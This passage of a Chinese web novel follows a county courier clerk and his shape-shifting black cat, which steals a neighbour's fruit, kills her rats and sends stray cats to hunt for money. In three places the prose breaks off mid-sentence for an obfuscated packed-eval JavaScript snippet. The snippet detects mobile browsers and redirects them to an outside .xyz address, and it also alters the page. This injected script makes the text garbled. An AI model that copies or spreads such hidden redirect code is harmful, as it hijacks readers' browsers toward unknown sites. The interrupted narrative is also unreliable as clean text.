不过这年头客户都叛逆,对于这名儿有自己的想法,所以有人特别愿意来这儿寄东西,有人看了就嗤之以鼻避而远之,都是正常现象。 观昏晓是风水速递南水城祈县分局的一名营业员,祈县风俗偏传统,风水之说尤其盛行,因而分局生意还可以,至少养得起他和另外两名投递员。 “观哥,早。” “早,解车了吗?” “马上马上,车已经停在后边儿了,等我把包子啃完咱们再对表做接收。” “成。” 观昏晓与同样比平时迟到了几分钟的邮车司机打招呼,顺手开机打卡登录工号,然后让天窍坐位置上歇会儿,自己则马不停蹄地朝仓库后院走去。 一辆六轮邮车静静停靠在院子里,司机边咬包子边跟上他的脚步,两人到车厢跟前的时候,司机便顶着鼓鼓囊囊的嘴,三两下将厢门拉开。 风水速递每天发运两趟车,一进一出,进的在早上,出的在下午五点,也就是营业员的上下班时间。 祈县是个小县城,收寄量都不大,观昏晓照着司机给的表对了下数量,就开始帮他一起卸货。 “话说马上就要到年中电商节了,这会儿各大电商平台做活动的做活动,开预售的开预售,想尽办法抢占先机,光是这周的进货量就比上个月一个月加起来都多,咱们可得忙一阵了。诶,你说上头领导会不会再招几个人来帮忙?” 司机是个中年男人,身材高大,声音粗犷,讲起话来却很有些琐碎絮叨,语速还快得很,跟他手头动作一样麻利。 观昏晓将几个大包垒上推车推进仓库,车轮在粗粝的地板上滚动,发出极刺耳嘈杂的声响。 他在货架投下的阴影里弯腰给包裹分区摆放,制服收窄的地方紧贴着他的腰线,勾勒出颇为漂亮的肌肉线条。 阳光从墙顶的玻璃窗倾斜倒下,洒了他满头满身,他随手抹了一把额汗,睫毛微微抬起,露出一双黑白分明的幽深眼睛。 “每年两次电商节,我们也就忙这两回,省局不可能招新人。”观昏晓说,声音质感又冷又沉,带着一点悦耳的磁性,“领导天天在群里催业绩,抓工作态度,变着法儿的扣工资,三流企业抓纪律,这话可没说错。” “嘿,你嘴够毒的。”司机乐了,“不过咱们也就发发牢骚,说实话,咱公司的待遇还是可以的,虽然没有一金,但五险买得齐全,夏天还有两个月的高温津贴,发大财别想,过日子却是够了。” “嗯。”观昏晓推着推车出去,在巨大的滚轮动静里低声说,“不然我干这行图什么。” “你说什么?”司机没听清。 观昏晓利落地把一袋文件类邮件拖上推车:“我说,还有一分钟就正式营业了,动作快点。” “哦哦!” 九分钟后,司机清空邮车,换了小车慢慢悠悠出门,去送自己负责的片区的包裹,观昏晓则回到前台,将天窍提溜上膝盖揉搓脑袋,再瘫坐在高背沙发椅中毫无形象地舒展手脚,活像个骨质疏松的老大爷。 监控尽职尽责地记录下这一幕,几分钟后,工作群内的小领导贴出了他的照片,附上“上班不许撸猫,坐姿要端正,警告一次,再犯扣五十”的“提醒”。 “一流企业抓业绩,三流企业抓纪律,活该你司业绩差成这个狗样。” 观昏晓对着不收音的监控大声哔哔,但终究心疼钱,还是慢腾腾地调整了坐姿。 ——背靠椅子,双臂屈起搭着扶手,双腿交叠。 优雅.jpg 天窍跳上桌面,像只招财猫一样蹲坐下来,翘起来的嘴巴就没下去过。 小物流公司的前台营业员是一个相当清闲,相当寡淡,毫无发展潜力,一眼就能看得到头的职业。 收入低,胜在活儿少,虽然最近总局抽风玩命地抓没有用的纪律,但对就职者而言工作压力依旧算是低得可以忽略不计。 正好配观昏晓这种没有背景没有追求的咸鱼小年轻。 他今年二十六岁,一毕业就进了这行,父母早已离异各有家庭不需要他赡养,老房子住着共享自行车骑着,除了付款时忘切支付方式的花呗欠款之外也没有什么还贷压力,到手五千出头的工资足够他在这个南方沿海十九线小城镇里过得很好。 从前亲近的朋友嫌他不懂就业,白瞎了一个211热门专业的好学历,总在吃饭时劝他趁年轻抓紧转行。 四年过去,如今的就业形势和生活压力狠狠给了他的朋友们一个大嘴巴子,被优化的被优化降薪裁员的降薪裁员,很多风口猪飞的高薪岗位急剧缩水,收入骤降的同时工作强度丝毫没有调整,他们终于不再提让他换工作的事了,转而开始夸他有先见之明。 观昏晓这才从不求上进的可回收青年垃圾一跃成为朋友圈找工作的神。 人生就是这样的,跟买理财一个道理,你什么都不买,收益就能超过90%的人。 观昏晓牌bb机.jpg “咦?这有只猫?”门外突然响起充满惊喜的声音,打断了观昏晓的思绪,“哎呀!还有个大帅哥!” 是谁这么有眼光?要是来寄件的高低得给她弄张内部七折券。 观昏晓掀起眼皮往外望,一个染着绿毛的时尚酷Girl抱着俩箱子走进来,先把东西放在前台,然后指着天窍问:“帅哥,这猫给摸吗?” 观昏晓斜一眼天窍,它默默跳到后方的快递架上,左右甩了下尾巴。 他笑了笑,一拍扶手站起身:“容许我隆重介绍一下,这位是我们快递点的镇店神兽,招财之神,姓苗名天窍。可以看,不能摸。” 酷Girl“啧”了一声,有点遗憾,但也没有调头离开。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14810508|158591||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “行吧。那我能跟你合个影吗?我喜欢你的长相。” “要合影还是要七折券?”观昏晓拉开抽屉。 酷Girl毫不犹豫:“七折券。” 观昏晓笑了。 他真的好喜欢现在的年轻人,有一种不顾别人死活的现实的美。 寄完两个包裹,观昏晓和酷Girl两个顶级E人已经聊成了异父异母的亲兄妹,还交换了联系方式。 天窍蹲在货架上旁观,全程都是猫猫震惊脸。 他们怎么这么能聊?他们怎么聊到那地方去的?他们怎么就开始扫码加好友了? 观昏晓回头看到它的表情,嘚瑟一笑:“好好看,好好学,以后多找几个小弟,多拐俩小母猫。” 天窍鼓脸歪嘴:“呜喵。” 谁要找小母猫! 观昏晓笑眯眯地坐回椅子上,像平常那样享受带薪摸鱼的快乐。 平平无奇的一天很快过去。 有天窍在,快递站的生意稍好了一些,日收寄量突破三十。 根据五毛一件的提成,观昏晓比昨天多挣了七块五。但如此巨款依然抵不过家里多了张嘴,所以观陛下今天不去御膳房,转而前往市场,打算买些肉菜回来自己做饭。 市场中人挤人,天窍乖乖坐在车筐里被观昏晓推着走,时不时被各种食材的腥气熏得皱眉,索性蜷成猫团,把脸埋在爪子里。 “猫的嗅觉灵敏,把你熏坏了吧?”观昏晓把装了娃娃菜、小葱和青椒的黑塑料袋挂在车把上,心疼地揉揉萎靡的猫猫头,“要不我将车子推到市场门口,你在那儿等我?” “唔嘛。”天窍左右甩尾巴。 虽然气味难闻,但它一刻也不想与观昏晓分开。 他们已经分开了很多次、很多年了。 “好吧,那你再忍忍。”观昏晓轻拍它的后背,温柔哄道:“我们再买块猪肋排就走。” “喵!” 片刻后,一人一猫离开市场,共享单车慢悠悠驶进花荫。紫穗槐的香气裹着风涌入他们肺部,不一会儿就将那恼人的腥味清理得干干净净。 天窍夸张地松了口气。 观昏晓被它充满不食人间烟火的小崽子反应逗乐,正要逗逗它,一抬头却见王阿姨气冲冲地从巷口出来,面上余怒未消,动作却很温和地将一袋子饮料瓶递给一位等在路边的拾荒老人。 “王阿姨,您怎么了?” 观昏晓长腿一伸停了车,从框里拿出下午喝完的橙汁瓶子递给旁边的老人家,摆摆手示意她不用道谢,随口询问道。 看见他,王阿姨富态可亲的圆脸才松弛了一些,叹气道:“家里最近闹老鼠,把我的葡萄和小番茄啃坏了好些,我怎么都抓不住,正愁呢。诶,你养猫了?会抓老鼠吗?” 闻言,观昏晓低头和天窍对视一眼,见它无辜歪头,笑着道:“它还是小猫呢,估计不太擅长。” “是,我看也是。”阿姨刚提起的气又泄了,“没事,我再自己想想办法,你上了一天班也累了,回家休息去吧。” “好,阿姨再见。” 观昏晓与她道别,骑车进巷子,心里琢磨老鼠的事,忍不住咕哝:“最近水果那么贵,我都快吃不起了。葡萄啊……我记得本地的都要三十一斤吧?那老鼠真是造了孽了。” 天窍耳朵一动,眯起眼望向前方。 王阿姨家木篱笆围成的院子里,紫色的葡萄与五颜六色的小番茄在风中摇曳生姿,藤架外的空地上挖了口水井,围绕水井长了满地蓝莓与草莓。 5. 猫偷水果 是夜,观昏晓做了三菜一汤。 青椒炒肉、葱烧豆腐、烤猪排和清汤娃娃菜。米饭比平时多煮二两,用来喂猫喂麻雀和喂鱼。 把多余的饭分在三个碗里的时候,观昏晓咕哝:“我现在足不出户就能享受到打理动物园的快乐,可惜这副业不仅不挣钱,还得倒贴钱。” 天窍蹲在一旁,乖乖仰个脑袋看他,听到这话,耳朵微微往后偏转,心虚地从喉咙里挤出个“唔”。 “你唔个屁。”观昏晓拿筷头敲它,“走了,吃饭去。” 把猫饭放在桌上,观昏晓也不担心天窍会打翻其他的菜,径自出门喂麻雀和鱼。 几分钟后回来,他一抬眼,就见小黑猫端端正正蹲在饭碗旁边,碗里的猪排豆腐拌饭一口没动。 “怎么了?今天的饭不合你胃口?”观昏晓边走边问,等坐到自己的龙椅上,拿起筷子,才见天窍低头埋进碗里,以挖掘机掘土之姿铲了老大一口。 他笑着挠挠天窍头顶的绒毛:“原来在等我啊。” “呜喵。”天窍鼓着腮帮子含糊地叫了一声,表示肯定。 一人一猫大啖食粮二十分钟,在给猫添了三次食后,轻轻松松将整桌菜一扫而空。 天窍像是饿了几十年总算吃了顿饱饭,蹲在洗手台边舔爪子,陪观昏晓洗碗刷锅的同时,圆眼睛心满意足地眯成两条缝。 “以前我们家有个规矩,做饭的人不刷碗,所以锅碗瓢盆都是我妈洗的。她刷锅可有一手,再顽固的油污落她手里,不出五分钟就会被清理得干干净净,可惜她没来得及把这手艺传授给我就出家去了。” 食饱餍足又被暖黄灯光照得昏昏然,观昏晓不觉回忆起了往事。 但话锋一转,他又把语气里自然流露的怅然变成了玩笑:“唉,你要是人就好了,做饭本身挺有意思的,我讨厌自己做饭的重要原因之一就是懒得洗碗。” 闻言,天窍认认真真地看着观昏晓“喵”了一声。 ——会有那么一天的,很快。 “虽然听不懂你在喵什么。”观昏晓用湿漉漉的食指戳了它脑门一下,“不过你的安慰我收到了。” 今夜没有突发事件,观昏晓照旧十一点半躺到床上,空调被一盖,不到三秒就进入昏昏欲睡状态。 他把被子拉到鼻子上方,用困到黏糊的鼻音说:“天窍,关……” 话音未落,房间里伴随着“啪嗒”一声轻响落地,灯关了。 感受到两只枕头的间隙挤进来一团毛绒绒的暖源,观昏晓蹭了蹭:“真聪明。” 天窍抬头,微微上扬的猫猫嘴在他高挺的鼻骨上轻吻。 晚安。 后半夜,确认观昏晓睡熟了,天窍蹑手蹑脚地钻出被窝,小心翼翼将没关紧的窗扒拉出一条缝,挤出去再关上。 它看了眼月色,昨夜的满月边沿少了一小块,正向着下弦月变换,自己体内的妖力也如同潮汐般剧烈汹涌,但比起月圆和无月这两天特殊时期稳定了很多,可以长时间保持人形了。 唉,这恼人的旧伤起码还有半年才能痊愈,幸好它已经提前找到自己心爱的“两脚兽”了。 想着,天窍跳出围墙,四下观察一番,再跳进对门王阿姨家的院子。 几分钟后,院内传出一阵撕心裂肺的吱吱声,但半秒不到就戛然而止。 又过一些时候,几声紧促的鼠叫从院子的小番茄架上接连响起,同样是戛然而止。 不多时,天窍将五只老鼠拖到葡萄架下摆成一排,随即变回人形,冲地上无声地呸了几口,再挑拣着摘了些好水果,兜进宽大的袖子。 五只老鼠换四种水果,双赢。 …… 早上七点,阳光明媚。 观昏晓在生物钟的作用下迷迷糊糊地醒了过来,正按照惯例打算赖二十分钟床,忽然一声中气十足的怒吼划破长空,像闷雷一样在他耳边炸响: “是谁偷了老娘的水果!” 观昏晓瞬间被吓得坐起身,枕边蜷成海螺状的天窍也惊醒过来。 一人一猫面面相觑,一个狗狗祟祟一个猫猫祟祟地下床,前者刚拉开房门迈腿,就让门口堆成小山的水果吓得缩回来,硬生生给整沉默了。 葡萄、小番茄、蓝莓、草莓。 嚯,真齐全,就差把王阿姨家葡萄架下的藤椅一起搬来了。 观昏晓斜睨天窍,天窍别开头,尾巴尖向上勾起一截,轻轻摇晃,继猫眼螺后又解锁第三形态——响尾猫。 与此同时,王阿姨还在咆哮: “这次不止是老鼠!绝不止是老鼠!我看得真真的,我的小番茄藤上有好几条猫爪印!老鼠啃的痕迹也有,绝对是……卧槽!” “妈,这这……五只老鼠?” “五、五只?我瞧瞧……哎哟!谁家猫干活这么利索?都是一爪毙命,看这些老鼠的脖子碎的……诶?那我藤架上的猫爪印会不会是老鼠偷吃小番茄时被路过的猫大侠撞见,它逮老鼠时落下的?” “猫大侠……妈,我就说您应该少看武侠小说,把脑子看坏……诶诶诶!对不起我错了!我错了妈!妈!!!” 王阿姨的怒吼被扫帚划破空气的呼呼声和她倒霉女儿的惨叫取代,母女二人华山论剑了好一会儿才消停。 观昏晓和天窍全程缩着脖子,哪怕知道隔这么远他们即使出声对面也听不见,却还是秉承着战时低调,以免殃及池鱼的原则,一声不敢吭。 又过几分钟,王阿姨收拾完自家的嘴欠孩子,提着应该是装了老鼠尸体的垃圾袋出门。 “我出去丢垃圾,你把家里打扫一下再去睡回笼觉!” “知道了妈。不过水果丢了不少,真的都是老鼠吃的吗?会不会那只猫也……” “人家帮咱抓了那么多老鼠,吃点水果怎么了?它就是进厨房,用冰箱里的食材开火炒个菜都合情合理。哎呀,这点小事别讨论了,你动作快点,我回来之前必须把院子打扫干净!” “明白了!您武侠小说没白看哈,真是把蜀山唐门附近的绝学——川剧变脸学得炉火纯青。” “嗯?” “我去拿簸箕!” 听完隔壁母女二人的对话,听着王阿姨哼歌离开,观昏晓与天窍齐齐松了口气。 刚才紧张的时候没觉得怎么样,现在一放松下来,腿肚子都是软的。观昏晓靠着门板滑坐在地,抬手顺了顺天窍背上的毛。 “老鼠你抓的?” “喵。” “水果你偷的?” “……唔。” 怎么能叫偷,明明是等价交换。 天窍瘪嘴。 观昏晓戳它凹进去的嘴角:“别扁嘴了,就算你给人家抓了老鼠,不告而取依然是偷,别人主动给你的才叫报酬,明不明白?” 天窍把脸搁在他的掌心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14810509|158591||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,可怜巴巴地抬眼看他。 观昏晓被它看得心软,合拢五指搓了搓猫猫头。 “这次就算了,不罚你。但下不为例。这些水果是不能还回去了,今天下班我去买点别的送给王阿姨,不说你的事,就说是看见市场里的水果不错,买多了给她分一些。你跟我一起去,表现得乖一点。” “喵!” 傍晚,观昏晓右肩扛着天窍,左手拎了一袋香蕉和一袋橙子,敲开王阿姨家的门。 一颗扎着高马尾的脑袋从门后伸出,是王阿姨的女儿王萱。 “晓哥,什么事啊?” “王萱,阿姨在家吗?” “在啊,刚做完饭……” 王萱话还没说完,葡萄架下就传来王阿姨洪亮的嗓音:“萱萱啊,谁来啦?” “阿姨,是我。” 观昏晓向王萱眨眨眼,她心领神会地拉开门,侧身让他进去。 他走向藤椅上打扇乘凉的王阿姨:“我去市场买菜,看见今天的香蕉和橙子不错,挑着挑着买多了,给您送点过来。” 王阿姨慢慢直起身,把蒲扇一放,接过他递来的袋子:“哟!这叫一点啊?加起来有两斤重了吧?橙子可不便宜,你拿回去,香蕉留下就行。” 她倒不是瞎客气,观昏晓在这儿住了几年他们就相互关照了几年,王萱小学和初中的课都是他补的,王阿姨也经常给他送饭添菜,彼此之间早就不需要无意义的客套。 她只是单纯觉得观昏晓不会过日子而已。 观昏晓笑了笑,冲天窍使个眼色,它抖抖耳朵,立刻跳到王阿姨身边,蹭了蹭她的腿。 王阿姨中年离异,除了女儿,最喜欢的事就是种水果,今早刚知道有只猫大侠替自己抓了偷吃水果的鼠贼,对猫的好感度也飙得很高,忍不住弯腰揉了揉天窍的脑袋。 见天窍成功转移她的注意力,观昏晓乘胜追击:“阿姨您就收着吧,以前过年您都是论箱给我送的砂糖橘,一斤橙子能有几个钱。” “是啊妈,你让晓哥帮我补32分的英语的时候也没见您这么客气啊。”王萱上前来助攻,笑眯眯拿走王阿姨手中的两个袋子,冲观昏晓晃了晃,“晓哥,我拿进去啦!” “去吧。”观昏晓向她竖起大拇指,“橙子切片冷镇一会儿更好吃。” “知道知道。”王萱摆摆手,“论起吃,我可比你专业多了!” 话音未落,她已经小跑进了客厅。 “这丫头!”王阿姨好气又好笑,把天窍提起来抱在臂弯间,单手抄起角落的竹筐利索开摘,“来来,小晓你帮阿姨拿一下这个筐,阿姨给你回点礼……我记得你说用小番茄做番茄炒蛋也很好吃是不是?来,先带半斤回去。” “不是阿姨,我……” 事态忽然急转一个大弯,观昏晓傻了,手忙脚乱地想要拒绝,却被阿姨一巴掌拍后背上堵了回去。 “别跟阿姨客气啊,多带点。长这么多我们娘俩也吃不完,与其便宜了老鼠和候鸟,不如给你。” “阿姨我真不用……诶诶诶!够了够了!这些够我炒一星期番茄炒蛋了!” 十几分钟后,观昏晓抱着满满当当一筐水果走出王阿姨家大门,与坐在筐顶的天窍四目相对。 “下回还偷不?”他板脸。 “喵呜~” 天窍支起身,爪子抵在观昏晓唇上,贴着他的脸使劲蹭蹭。 6. 日常 一天无波无澜的工作结束,观昏晓没有像往常那样骑车,而是搂着天窍踱步到市场买菜,再散着步回来。 他腿长,步子迈得大,本想让天窍继续呆在自己肩头。但看他两手提满了袋子,天窍不舍得再给他增加重量,便跳下地贴着他的腿一路小跑,四只小短腿倒腾得也挺快。 “天窍,我跟你说个事儿。”走到紫穗槐花荫,观昏晓在路旁的石椅上坐下,放好袋子,顺便拍拍身边的位置,“坐。” 天窍轻巧跳上去,尾巴一甩卷住他抵着椅面的手臂,揣着爪子仰头看他,好奇地歪了下脑袋。 观昏晓用另一只手拍拍猫猫头,掏出手机,从手机壳后方摸出两张银行卡,先向他展示绿色那张:“喏,这是我的工资卡,上回让你看的0.06元巨款就是放在这里面。但我一般不在工资卡里留钱,这六分是我懒得转出去才留下的。” 天窍眨眨眼,紫琉璃般的猫瞳中掠过一丝若有所思。 观昏晓看到它眼底那人性化的神色,暗暗嘬牙花,却面不改色地继续展示第二张蓝色的卡。 “这是我平时存钱和使用的卡,活期定期都放在这里,看,这才是我的真实存款。” 说着,他调出手机银行的余额界面,分别给天窍看了活期和定期存款,加起来六万出头。 天窍盯着那两个上下并排的数字良久,脸上的思索之色更重,一双耳朵也像接收天线似的轻轻抖动。 “行了,别琢磨了。”观昏晓好笑,揉了揉它的脑壳,顺势捋了一把柔软的耳朵尖尖,“我不太喜欢存钱,也存不住,一年一万顶天了,工资虽然不多,但养活我和你够用。所以你不用担心我吃不起饭,之前说那些都是逗你的。” 天窍鼓嘴,仰起脸拿胡须扎他。 “哎呀!生气啦!”观昏晓故意夸张地缩回手,“我们家天窍不当猫了,以后要做刺猬是不是?” “呜喵!” 天窍一甩头,伸出爪子把他的手扒拉回来,鼻尖拱了拱扎到的地方,再把头顶进他的掌心,温柔地磨蹭。 观昏晓摊开手掌,修长的五指正好它大半个身子,指腹陷进长毛,暖融融的,还有些刺挠。 他揉了会儿猫,才笑眯眯地说:“以后不用忙活了,晚上好好睡觉,就算是黑猫也不能留黑眼圈。知不知道?” 已经在他掌心摊成猫饼的天窍抬头,圆眼睛弯成月牙,摇着尾巴回了一句尾音荡漾的“喵”。 “走了,回家!” 观昏晓把天窍放到肩头,拎起袋子朝家的方向走去。阳光从背后照来,描摹他结实流畅的身形,英俊的侧脸,又在他身前打下长长的影子,融入错落的花影。 天窍端端正正蹲着,细长的尾巴环在观昏晓后颈,不自觉流露出霸道的占有欲。 它在想,其实它想养这个人,不完全是因为他吃不起饭,只是希望将他纳入自己的保护范围,也让自己成为他生命的一部分。 不过,如果他不缺食物,自己再给他带吃的,会让他困扰吧?虽然他总能把困扰的事变成生活的乐趣,就像那二十只被好好养起来的麻雀,但天窍并不想成为他的困扰之一,也不要只做他的“乐趣”。 猫猫不自觉活动着尾尖,在观昏晓锁骨上下拍打蹭动。观昏晓瞥了一眼,伸手挠了挠,倒也没将那截小尾巴撇开。 天窍仍在思考,它回忆着观昏晓刚刚说的话,有一句引起了它的注意——我不太喜欢存钱,也存不住,一年一万顶天了。 所以……他其实是缺钱吗? 那它只要努力搞钱,就能以让他高兴的方式把他养起来了吧? 天窍精神一振,丝毫不觉得自己的想法与观昏晓说的话之间隔了一个黄河大改道,兴奋地拍动尾巴,粘了观昏晓一下巴的毛。 观昏晓默默拿下飘到嘴角的猫毛,抬手按住这只忽然亢奋起来的小东西。 “天窍,你是太饱了吗?” 天窍从思绪中抽身,不解地歪头:“喵?” 观昏晓戳它小肚子:“没饱怎么这么亢奋?是不是背着我偷吃老鼠了?” “喵呜呜!” “没有?那就是蟑螂。” “喵喵!” “哦我知道了,蜘蛛,肯定是蜘蛛。我说怎么自从你来了之后家里的蛛网都变少了,原来晚上不睡觉除了给我找吃的,还大战蜘蛛精……诶诶诶!猫总管你居然弄乱了朕的发型?” 天窍冲着自家不着四六的两脚兽的头发抡起猫猫拳,观昏晓边跑边试图躲开,却并不把它放下地去。 一人一猫打打闹闹,回到家时各自顶着个鸡窝头,恰好让出门扔垃圾的王萱撞见,那小没良心的姑娘指着她的御用补课师傅笑弯了腰,整条小巷都能听见她早七闹铃般的笑声。 深夜,前脚刚答应过观昏晓要早睡的天窍,扭脸就趁着观陛下睡成死猪溜出家门,在老地方召集自己的猫猫心腹队。 心腹队拢共三只猫,一只是口才好脑子转得快的小三花,一只是见多识广什么都能说上一点的大胖橘,还有一只是能文能武尤其擅长追踪和干架的黑狸花。 天窍蹲在傍晚与观昏晓一起坐过的长椅上,像只骄傲的狮子,一身黑毛在月光下光华流转,威仪万千。 它思索半晌,才矜持地开口:“通过我的不懈努力,我家两脚兽现在已经不愁吃喝,但新的烦恼又冒了出来——他缺钱。” 三位内阁首辅相互对视一眼,没有质疑老大的前半句话,而是尝试为它分忧解难。 小三花想了想,说:“据我所知,很多被人类视作破烂的东西其实也是可以换钱的,只不过我们是猫,不好操作。您可以把那些东西收集起来送给您的宠……家属,让他自行换成钱财。” “家属”二字让天窍嘴角微翘:“是个不错的主意,还有吗?” 胖橘气定神闲地揣爪:“人类是一个惯常丢三落四的种族,他们经常会无意间把钱遗落在世界的各个角落。我知道他们的钱长什么样,我可以发动手底下的猫帮您找。” “好,这件事就交给你了。”天窍一口答应,转头看向最后一位首辅:“大黑,你有什么想法?” 黑狸花抬起后爪挠挠耳根:“老大,您知道对于人类除了钱什么东西最值钱吗?我可以针对性地帮您找。” “值钱……”天窍思忖了一下,“应当是人类存钱的器皿吧,那种长方形的薄片。” 说着,它轻挥爪子,空气中霎时浮现出观昏晓今天给它看的两张银行卡的图像,纤毫毕现。 黑狸花眯着眼看了许久,点头道:“我记下了。老大放心,在我的辖区内,不会有任何一张这个东西被漏掉!” “这是长期任务,我没叫停之前,必须一直做下去。但也不必不着急,你们慢慢做就行。”天窍在椅子上踱步,“这样吧,你们每七天向我汇总一次成果,如有变动,我会通知你们。” “是!老大!” 清亮的猫叫划破夜色,某栋房子里,那位又在深夜鏖战峡谷的高中生头皮一麻手一滑,交了个闪。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14810510|158591||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 队友在麦里破口大骂,他心虚挠头。 “那什么,我家附近有猫叫秋,我被吓到了,真不是故意的。” “……兄弟们,信他的鬼话还是信我这把拿十六杀?” 高中生:“……” …… 接下来一周时间,观昏晓的生活风平浪静。 没有一早起床的固定惊吓节目,工作上业绩节节高升却也不会特别忙碌,市场的肉菜价格分别降了10%和30%,就连隔壁私房菜馆的特价菜都降到了10块,可以说处处顺心,快乐齐天。 周六上午,观昏晓搂着天窍赖了俩小时床,才从猫毛的温柔乡里抬起脸,接受阳光照耀。 他在网上订的特大号狗窝昨天晚上就到了,洗漱完毕后换了身轻便的休闲服,便在院子里叮呤咣啷地组装起来。 天窍守在旁边帮忙,给他拿些小东西。 “钉子。” “木条,那两根短的。” “垫子。” 观昏晓干活时脸上没什么表情,给人的感觉既麻利又冷酷,再复杂的东西从他手里经过,都会被简化得干净利落,让人看得懂却复刻不了。 流程基本是这样: 这是钉子,这是锤子,这是木头,用锤子把钉子钉在木头上。 好,你已经学会怎么使用它们了,现在去搓个核动力机甲吧。 观昏晓的朋友们:真的,不是我们蠢,实在是见过的人都说离谱。 现在不止人,见过他干活儿的猫也倍感离谱。 对于天窍来说,它不过是去给观昏晓拿个东西,一回头那叫个天翻地覆——框架搭起来了、木板钉好了、DIY小楼梯和小阳台建成了。 不是,它转身回身的这十几秒时间里是经历了一次宇宙大爆炸吗?再利索也没这么利索的吧? 观昏晓挽起衣袖,将搭好的狗窝提到仓库边上的角落,白净修长的小臂绷起漂亮的肌肉线条。 汗珠滚过他英气的眉骨,从睫毛之间滴落,在那对弯弯的长睫上留下细碎水珠,随着他的眨眼动作洇在眼下,被他随手抹去。 天窍看得有些出神,连先前的惊讶都忘了。 “别看了猫大爷,你怎么总用这种色/眯眯的眼神盯着我?”观昏晓好笑地敲敲它脑袋,“去把你的麻雀小弟们叫出来,以后这里就是它们的新家了。” 天窍“唔”了一声,别过微红的耳朵,故作正经实则顺拐地跑进仓库,不一会儿就把二十只麻雀赶了出来。 在观昏晓手底下待了这几天,多吃少运动的麻雀们跟吹了气似的个个胖了一圈,走路都撇着外八字、四方步,神气得很。 当然,在观昏晓和天窍这两位饲主与老大面前,它们还是很低调的,缩着翅膀垂着头,直到进了新窝才“膨胀”起来。 狗窝经观昏晓简单改造过,从半封闭状改成了开放式鸟窝,木板错落搭成了螺旋向上的阶梯,左侧有宽板垫的缓坡,右侧则是疏落有致的细杆、长板和一只20厘米高的圆筒,整体看上去就像一座树屋,枝蔓横斜、天然可亲,设计感十足又毫无匠气。 观昏晓折了枝茉莉放进圆筒,绿叶白花自成树荫,犹如画龙点睛的神来一笔,麻雀们在其中振翅梳毛,闲庭信步,动静相宜,将这只鸟窝衬托得宛如艺术品。 “大功告成!” 他拍掉掌心的木屑,长出一口气,向天窍摊开手。 小花痴猫弯起“色/眯眯”的圆眼,心领神会地张大爪爪,与他击了个掌。 7. 卡 秋日的午后阳光和煦,正值周六,观昏晓吃完饭食也不消,扑到被阳光晒得松软温暖的被褥上趴下,决定好好睡个午觉。 天窍照旧黏着他,见他没个躺相,索性跳到他的背上躺倒,贴着他的腰窝打了两个滚,用蓬松微扎的毛毛反向刺挠他。 他怕痒,瞬间弹射坐起,天窍的反应比他更快一步,率先跳开并甩着尾巴走到了他跟前。 “故意的?嗯?”观昏晓压着枕头侧躺下来,伸手勾它尾巴,半眯的双眼在阳光下呈现出琉璃般的质地,剔透澄澈,“我没刺挠你,你倒先挠起我的痒痒肉来了。等着,冬天我一定穿上最招静电的毛衣,看你怎么赖着我!” 天窍无辜地鼓了鼓嘴,凑上去抵着他的额头鼻子一顿蹭,同时喵喵叫着好像在反驳他的话,灵巧的尾巴缠住他手腕,只留个尖尖让他抓。 观昏晓被它蹭得一脸毛,笑着避开。 “诶诶……好了,别蹭……你看你这毛掉的……蒲公英先生,再蹭我要生气了,今晚你就去和你的麻雀小弟们睡一窝!” 天窍完全不搭理他色厉内荏的威胁,趁他翻身成正躺的空隙跳到他胸前,垂头亲吻他挺翘的鼻尖。 猫猫垂头看他,眼里笑意未褪,两只前爪微微张开摁在他脖颈处,随着他的颈动脉一震一震。 观昏晓好笑,揉了揉它后颈:“越看你越不像猫……算了,不管是什么,只要别是我上辈子的冤家投胎来的就行。” 谁跟你是冤家。 天窍趴下去,在他看不到的地方翻了个优雅的白眼,然后摊成一张猫毯,任由他揉着自己的脑袋从头撸到尾。 观昏晓在胸口暖融融的触感里闭上眼睛,温沉的音调多了些困倦的沙哑:“我先睡会儿,醒了再陪你玩。” “miu~wu~”天窍应得抑扬顿挫。 一人一猫相拥而眠。 窗外日头正好,不热不燥。 窗下,黑狸花与大胖橘面面相觑,默默揣起爪子,以免脚趾抠地原地盖起一座江南园林。 小三花虽然也惊讶,却比它们淡定些,毕竟是靠颜值吃饭的大美猫,什么大世面没见过,虽说自家老大跟两脚兽撒娇打闹的场景是很震撼,但还不至于让它失态。 “老大正在休息,我们不好打扰,把东西放在门口就走吧。”三花轻声道,又冲两位同僚使了个眼色。 黑狸花了然点头:“嗯,大门没关,我们现在就去。记住,动作要快,更要轻。” 万一不小心吵醒老大,被它发现它们看见了它的“糗样”……那它们就可以路灯湖底二选一了。 三只猫蹑手蹑脚跳进客厅,分三次运送完三批“货物”,再轻手轻脚地离开。 